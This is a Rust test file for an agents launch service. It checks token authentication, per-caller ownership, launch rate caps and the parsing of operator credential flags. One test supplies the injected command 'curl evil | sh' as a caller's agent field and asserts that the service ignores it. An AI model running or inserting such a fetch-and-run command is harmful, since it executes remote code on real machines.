johnandersen777.bsky.social/atlibs-agents
agents and atirc modules for atlibs: launch agents from a composition, chat on atirc; pages and the agents service
0
0
// cargo test --release (after `cargo wasm` here and in the sibling checkouts): the handlers over the real
// agents composition with a stub
// account call (service-auth verification itself: atlibs rust/host/src/serviceauth.rs). No network.
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use super::*;
use atlibs_host::crypto::base58;
use base64::Engine;
use base64::engine::general_purpose::URL_SAFE_NO_PAD;
use k256::ecdsa::signature::Signer;
const ISS: &str = "did:plc:caller0000000000000000000";
const AUD: &str = "did:key:zDnaeService";
fn jwt(alg: &str, claims: Value, sign: impl Fn(&[u8]) -> Vec<u8>) -> String {
let enc = |v: Value| URL_SAFE_NO_PAD.encode(v.to_string());
let signing = format!("{}.{}", enc(json!({ "typ": "JWT", "alg": alg })), enc(claims));
format!("{signing}.{}", URL_SAFE_NO_PAD.encode(sign(signing.as_bytes())))
}
fn k256_key() -> k256::ecdsa::SigningKey {
k256::ecdsa::SigningKey::from_slice(&[7u8; 32]).unwrap()
}
fn doc_for(prefix: [u8; 2], compressed: &[u8]) -> Value {
json!({ "verificationMethod": [{ "id": "#atproto", "publicKeyMultibase": format!("z{}", base58(&[&prefix[..], compressed].concat())) }] })
}
fn resolve_to(doc: Value) -> Resolve {
Arc::new(move |_did| {
let doc = doc.clone();
Box::pin(async move { Ok(doc) })
})
}
fn auth() -> Auth {
Auth { audiences: vec![AUD.into(), "did:web:did-key-zdnaeservice.xrpc.fedproxy.com".into()], issuers: vec![ISS.into()] }
}
fn claims(lxm: &str) -> Value {
let now = now_ms() / 1000;
json!({ "iss": ISS, "aud": AUD, "lxm": lxm, "iat": now, "exp": now + 60, "jti": uuid() })
}
fn es256k(claims: Value) -> String {
let key = k256_key();
jwt("ES256K", claims, |m| {
let sig: k256::ecdsa::Signature = key.sign(m);
sig.to_bytes().to_vec()
})
}
fn k256_doc() -> Value {
doc_for([0xe7, 0x01], k256_key().verifying_key().to_encoded_point(true).as_bytes())
}
// The account side: createRecord / putRecord / getRecord over a map, describeRepo answers,
// chat.atirc.mint is refused (so a launch ends after its record and tears down) or, with `hang`,
// never answers (a launch still starting); revoke answers; every call is logged. Launch records get
// rkeys 3mzzlaunch, 3mzzlaunch1, ...
#[derive(Default)]
struct Stub(Mutex<Vec<(String, Value)>>, Mutex<HashMap<String, Value>>, AtomicBool, AtomicUsize);
impl Call for Stub {
fn call(&self, nsid: String, request: Request) -> BoxFut<'_, Result<Option<Value>, String>> {
Box::pin(async move {
let input = request.input.clone().unwrap_or(Value::Null);
self.0.lock().unwrap().push((nsid.clone(), input.clone()));
match nsid.as_str() {
"com.atproto.repo.createRecord" | "com.atproto.repo.putRecord" => {
let fresh = || match self.3.fetch_add(1, Ordering::SeqCst) {
0 => "3mzzlaunch".to_string(),
n => format!("3mzzlaunch{n}"),
};
let rkey = input["rkey"].as_str().map(String::from).unwrap_or_else(fresh);
let uri = format!("at://{}/{}/{rkey}", input["repo"].as_str().unwrap(), input["collection"].as_str().unwrap());
self.1.lock().unwrap().insert(uri.clone(), input["record"].clone());
Ok(Some(json!({ "uri": uri, "cid": "bafy" })))
}
"com.atproto.repo.getRecord" => {
let p = request.params.clone().unwrap_or_default();
let uri = format!("at://{}/{}/{}", p["repo"].as_str().unwrap(), p["collection"].as_str().unwrap(), p["rkey"].as_str().unwrap());
let value = self.1.lock().unwrap().get(&uri).cloned().ok_or("RecordNotFound")?;
Ok(Some(json!({ "uri": uri, "value": value })))
}
"com.atproto.repo.describeRepo" => Ok(Some(json!({ "handle": "bob.test" }))),
"chat.atirc.mint" if self.2.load(Ordering::SeqCst) => std::future::pending().await,
"chat.atirc.mint" => Err("403 Forbidden".into()),
"chat.atirc.revoke" => Ok(Some(json!({}))),
_ => Err(format!("unexpected {nsid}")),
}
})
}
fn subscribe(&self, nsid: String, _request: Request) -> BoxFut<'_, Result<Sub, String>> {
Box::pin(async move { Err(format!("no subscriptions: {nsid}")) })
}
}
async fn service(stub: Arc<Stub>) -> Arc<Service> {
let repo = Path::new(env!("CARGO_MANIFEST_DIR")).join("..");
let defaults = Map::from_iter([("user_data".into(), json!("#cloud-config\n{}\n")), ("bidders".into(), json!(["did:plc:4vcig7s43z3nyqrnepmcfzqt"]))]);
let provides = HashSet::from(["com.fedfork.exec.iroh.connect".to_string()]);
Service::new(load(&repo, "composition.json", &provides).await.unwrap(), Wasm::new(WALL_TIME_MS), None, stub, vec![], "did:plc:bob".into(), defaults, auth(), resolve_to(k256_doc()))
}
// Each instance calls as the account only within its own module's session record: agents' (records/agents.json)
// writes launch records and may only delete rfp records, the requester's (its checkout's records/requester.json)
// creates rfps and never touches launch records, and policy-open, with no session, makes no scoped call. One
// shared operator call let every instance do all of these.
#[tokio::test]
async fn each_instance_is_held_to_its_own_modules_session_scope() {
let stub = Arc::new(Stub::default());
let svc = service(stub.clone()).await;
let create = |collection: &str| Request { input: Some(json!({ "repo": "did:plc:bob", "collection": collection, "record": {} })), ..Default::default() };
let call = |instance: &str, collection: &str| {
let call = svc.calls[instance].clone();
let request = create(collection);
async move { call.call("com.atproto.repo.createRecord".into(), request).await }
};
const RFP: &str = "com.publicdomainrelay.temp.market.rfp";
assert!(call("agents", LAUNCH).await.is_ok());
assert_eq!(call("agents", RFP).await.unwrap_err(), "agents may not call com.atproto.repo.createRecord with sessions agents");
assert!(call("requester", RFP).await.is_ok());
assert_eq!(call("requester", LAUNCH).await.unwrap_err(), "requester may not call com.atproto.repo.createRecord with sessions requester");
assert_eq!(call("bid-policy", LAUNCH).await.unwrap_err(), "policy-open may not call com.atproto.repo.createRecord with no connected session");
// allow-bidders is an instance of agents: agents' scope
assert_eq!(call("allow-bidders", RFP).await.unwrap_err(), "agents may not call com.atproto.repo.createRecord with sessions agents");
// public reads need no scope
let read = svc.calls["bid-policy"].call("com.atproto.repo.describeRepo".into(), Request { params: Some(Map::from_iter([("repo".into(), json!("did:plc:bob"))])), ..Default::default() }).await;
assert!(read.is_ok(), "{read:?}");
let made: Vec<String> = stub.0.lock().unwrap().iter().map(|(_, i)| i["collection"].as_str().unwrap_or_default().to_string()).collect();
assert_eq!(made, [LAUNCH, RFP, ""], "only the allowed calls reached the account");
}
fn request(method: &str, lxm: &str, body: Value) -> Value {
json!({ "method": method, "params": body.clone(), "body": body, "authorization": format!("Bearer {}", es256k(claims(lxm))) })
}
#[tokio::test]
async fn handlers_check_auth_and_method_then_answer_with_the_launch_rkey() {
let stub = Arc::new(Stub::default());
let svc = service(stub.clone()).await;
let mut unauth = request("POST", LAUNCH_AGENT, json!({}));
unauth["authorization"] = json!("Bearer nope");
assert!(svc.clone().handle(LAUNCH_AGENT, unauth).await.unwrap_err().starts_with("401 AuthenticationRequired"));
assert!(svc.clone().handle(LAUNCH_AGENT, request("GET", LAUNCH_AGENT, json!({}))).await.unwrap_err().starts_with("405 "));
assert!(stub.0.lock().unwrap().is_empty(), "no call before auth and method pass");
// clients cannot override user_data; a bad name fails before any record
let bad = svc.clone().handle(LAUNCH_AGENT, request("POST", LAUNCH_AGENT, json!({ "name": "Bad_Name" }))).await.unwrap_err();
assert!(bad.starts_with("400 InvalidRequest: name must be"), "{bad}");
let over = svc.clone().handle(LAUNCH_AGENT, request("POST", LAUNCH_AGENT, json!({ "name": "svc", "exp_s": 86401 }))).await.unwrap_err();
assert!(over.starts_with("400 InvalidRequest: exp_s must be 60 to 86400"), "{over}");
// nor the guest command: `agent` from a caller is ignored
let out = svc.clone().handle(LAUNCH_AGENT, request("POST", LAUNCH_AGENT, json!({ "name": "svc", "user_data": "ignored", "agent": "curl evil | sh" }))).await.unwrap();
assert_eq!(out, json!({ "rkey": "3mzzlaunch", "uri": "at://did:plc:bob/com.fedfork.agents.launch/3mzzlaunch", "status": "launching" }));
// shutdown waits for that launch (here: mint refused -> revoke -> record failed) before it runs
let down = svc.clone().handle(SHUTDOWN_AGENT, request("POST", SHUTDOWN_AGENT, json!({ "rkey": "3mzzlaunch" }))).await;
let calls: Vec<String> = stub.0.lock().unwrap().iter().map(|(n, _)| n.clone()).collect();
assert_eq!(&calls[..2], ["com.atproto.repo.createRecord", "com.atproto.repo.describeRepo"]);
assert!(calls.contains(&"chat.atirc.mint".to_string()) && calls.contains(&"chat.atirc.revoke".to_string()));
let created = &stub.0.lock().unwrap()[0].1;
assert_eq!(created["record"]["bidders"], json!(["did:plc:4vcig7s43z3nyqrnepmcfzqt"]));
assert_eq!(created["record"]["agent"], "atirc agent run");
assert!(calls.iter().all(|n| !n.starts_with("com.fedfork.exec")), "never reached a VM");
// the failed launch already revoked; shutdown of it marks it stopped
assert_eq!(down.unwrap()["status"], "stopped");
assert!(svc.clone().handle(GET_AGENT, request("GET", GET_AGENT, json!({}))).await.unwrap_err().contains("rkey is required"));
// a service-auth token is good for one request
let once = request("GET", GET_AGENT, json!({}));
assert!(svc.clone().handle(GET_AGENT, once.clone()).await.unwrap_err().contains("rkey is required"));
let again = svc.clone().handle(GET_AGENT, once).await.unwrap_err();
assert_eq!(again, "401 AuthenticationRequired: the token was already used");
}
#[tokio::test]
async fn any_signed_in_caller_may_launch_but_sees_and_stops_only_its_own() {
let stub = Arc::new(Stub::default());
let mut svc = service(stub.clone()).await;
Arc::get_mut(&mut svc).unwrap().auth.issuers.clear(); // no allowlist: anyone who can sign service auth
let out = svc.clone().handle(LAUNCH_AGENT, request("POST", LAUNCH_AGENT, json!({ "name": "svc", "caller": "did:plc:spoofed" }))).await.unwrap();
let rkey = out["rkey"].as_str().unwrap().to_string();
let record = stub.1.lock().unwrap().values().next().cloned().unwrap();
assert_eq!(record["caller"], ISS, "the caller is the verified issuer, not what the body says");
// the same rkey asked by another account
let other = k256::ecdsa::SigningKey::from_slice(&[11u8; 32]).unwrap();
let mut c = claims(GET_AGENT);
c["iss"] = json!("did:plc:mallory");
let token = jwt("ES256K", c, |m| {
let sig: k256::ecdsa::Signature = other.sign(m);
sig.to_bytes().to_vec()
});
let mut svc2 = service(stub.clone()).await;
{
let s = Arc::get_mut(&mut svc2).unwrap();
s.auth.issuers.clear();
s.resolve = resolve_to(doc_for([0xe7, 0x01], other.verifying_key().to_encoded_point(true).as_bytes()));
}
let req = json!({ "method": "GET", "params": { "rkey": rkey }, "authorization": format!("Bearer {token}") });
let err = svc2.clone().handle(GET_AGENT, req).await.unwrap_err();
assert_eq!(err, format!("403 Forbidden: launch {rkey} belongs to another caller"));
let mine = svc.clone().handle(GET_AGENT, request("GET", GET_AGENT, json!({ "rkey": rkey }))).await.unwrap();
assert_eq!(mine["record"]["caller"], ISS);
}
#[tokio::test]
async fn launches_per_caller_are_capped_and_another_callers_shutdown_is_refused_at_once() {
let stub = Arc::new(Stub::default());
stub.2.store(true, Ordering::SeqCst); // launches stay starting
let mut svc = service(stub.clone()).await;
Arc::get_mut(&mut svc).unwrap().shutdown_wait = Duration::from_millis(300);
let launch = || svc.clone().handle(LAUNCH_AGENT, request("POST", LAUNCH_AGENT, json!({ "name": "svc" })));
let first = launch().await.unwrap()["rkey"].as_str().unwrap().to_string();
launch().await.unwrap();
let third = launch().await.unwrap_err();
assert!(third.starts_with("429 RateLimitExceeded: at most 2 launches"), "{third}");
// another account's shutdown of a starting launch: 403 without waiting for it
let started = std::time::Instant::now();
let refused = svc.clone().shutdown("did:plc:mallory", &json!({ "rkey": first })).await.unwrap_err();
assert_eq!(refused, format!("403 Forbidden: launch {first} belongs to another caller"));
assert!(started.elapsed() < Duration::from_millis(250), "no wait for the launch");
// the owner's shutdown of a starting launch: wait and run share one timeout -> stopping
let started = std::time::Instant::now();
let stopping = svc.clone().handle(SHUTDOWN_AGENT, request("POST", SHUTDOWN_AGENT, json!({ "rkey": first }))).await.unwrap();
assert_eq!(stopping, json!({ "rkey": first, "status": "stopping" }));
assert!(started.elapsed() < Duration::from_secs(2));
}
#[tokio::test]
async fn a_launch_is_shut_down_at_the_end_of_its_life_and_a_failed_one_frees_its_slot() {
let stub = Arc::new(Stub::default());
let mut svc = service(stub.clone()).await;
Arc::get_mut(&mut svc).unwrap().max_per_caller = 1;
// mint refused: the launch fails and tears down, so it does not hold the caller's one slot
let out = svc.clone().handle(LAUNCH_AGENT, request("POST", LAUNCH_AGENT, json!({ "name": "svc" }))).await.unwrap();
let rkey = out["rkey"].as_str().unwrap().to_string();
for _ in 0..200 {
if svc.launches.lock().unwrap().is_empty() {
break;
}
tokio::time::sleep(Duration::from_millis(25)).await;
}
assert!(svc.launches.lock().unwrap().is_empty(), "a failed launch leaves the table");
let next = svc.clone().handle(LAUNCH_AGENT, request("POST", LAUNCH_AGENT, json!({ "name": "svc" }))).await.unwrap();
// its lifetime ends: reap shuts it down as its caller and frees the slot
let next = next["rkey"].as_str().unwrap().to_string();
assert_ne!(next, rkey);
svc.launches.lock().unwrap().insert(next.clone(), Launch { caller: ISS.into(), done: watch::channel(true).1 });
let before = stub.0.lock().unwrap().len();
svc.clone().reap(ISS, &next).await;
let after: Vec<String> = stub.0.lock().unwrap()[before..].iter().map(|(n, _)| n.clone()).collect();
assert!(after.contains(&"com.atproto.repo.getRecord".to_string()), "{after:?}");
assert!(!svc.launches.lock().unwrap().contains_key(&next));
// a launch already shut down is not reaped again
let before = stub.0.lock().unwrap().len();
svc.clone().reap(ISS, &next).await;
assert_eq!(stub.0.lock().unwrap().len(), before);
}
#[tokio::test]
async fn launches_are_capped_across_callers_and_issuers_may_name_a_did_method() {
let stub = Arc::new(Stub::default());
stub.2.store(true, Ordering::SeqCst); // launches stay starting
let mut svc = service(stub.clone()).await;
{
let s = Arc::get_mut(&mut svc).unwrap();
s.max_launches = 2;
s.auth.issuers = vec!["did:plc:*".into()]; // opt-in: ATLIBS_AGENTS_ISSUERS=did:plc:* (default: anyone)
}
let as_caller = |iss: &str| {
let mut c = claims(LAUNCH_AGENT);
c["iss"] = json!(iss);
json!({ "method": "POST", "params": {}, "body": { "name": "svc" }, "authorization": format!("Bearer {}", es256k(c)) })
};
svc.clone().handle(LAUNCH_AGENT, as_caller("did:plc:a1")).await.unwrap();
svc.clone().handle(LAUNCH_AGENT, as_caller("did:plc:a2")).await.unwrap();
let third = svc.clone().handle(LAUNCH_AGENT, as_caller("did:plc:a3")).await.unwrap_err();
assert!(third.starts_with("429 RateLimitExceeded: the service runs at most 2 launches"), "{third}");
let web = svc.clone().handle(LAUNCH_AGENT, as_caller("did:web:a4.evil.example")).await.unwrap_err();
assert_eq!(web, "401 AuthenticationRequired: issuer did:web:a4.evil.example is not allowed");
}
#[test]
fn operator_is_explicit_flags_only() {
let args = |s: &str| s.split(' ').map(String::from).collect::<Vec<_>>();
let read = |path: &str| if path == "pw.txt" { Ok(" secret-file \nignored\n".to_string()) } else { Err("no such file".to_string()) };
let var = |name: &str| (name == "OPERATOR_PW").then(|| "secret-env".to_string());
let parse = |s: &str| Operator::parse(&args(s), read, var);
let op = parse("--app-password alice.test --password-file pw.txt").unwrap();
assert_eq!((op.handle.as_str(), op.password.as_str(), op.pds.as_str()), ("alice.test", "secret-file", "https://bsky.social"));
let op = parse("--app-password alice.test --password-env OPERATOR_PW --pds https://pds.test").unwrap();
assert_eq!((op.password.as_str(), op.pds.as_str()), ("secret-env", "https://pds.test"));
// No account without --app-password, whatever the environment holds; exactly one source.
assert!(Operator::parse(&[], read, |_| Some("x".into())).err().unwrap().contains("--app-password <handle> is required"));
assert!(parse("--app-password alice.test").err().unwrap().contains("exactly one"));
assert!(parse("--app-password alice.test --password-file pw.txt --password-env OPERATOR_PW").err().unwrap().contains("exactly one"));
assert!(parse("--app-password alice.test --password-env UNSET").err().unwrap().contains("unset"));
assert!(parse("--app-password alice.test --password-file nope").err().unwrap().contains("no such file"));
assert!(parse("--app-password").err().unwrap().contains("needs a value"));
assert!(parse("--bogus x").err().unwrap().contains("unknown argument"));
}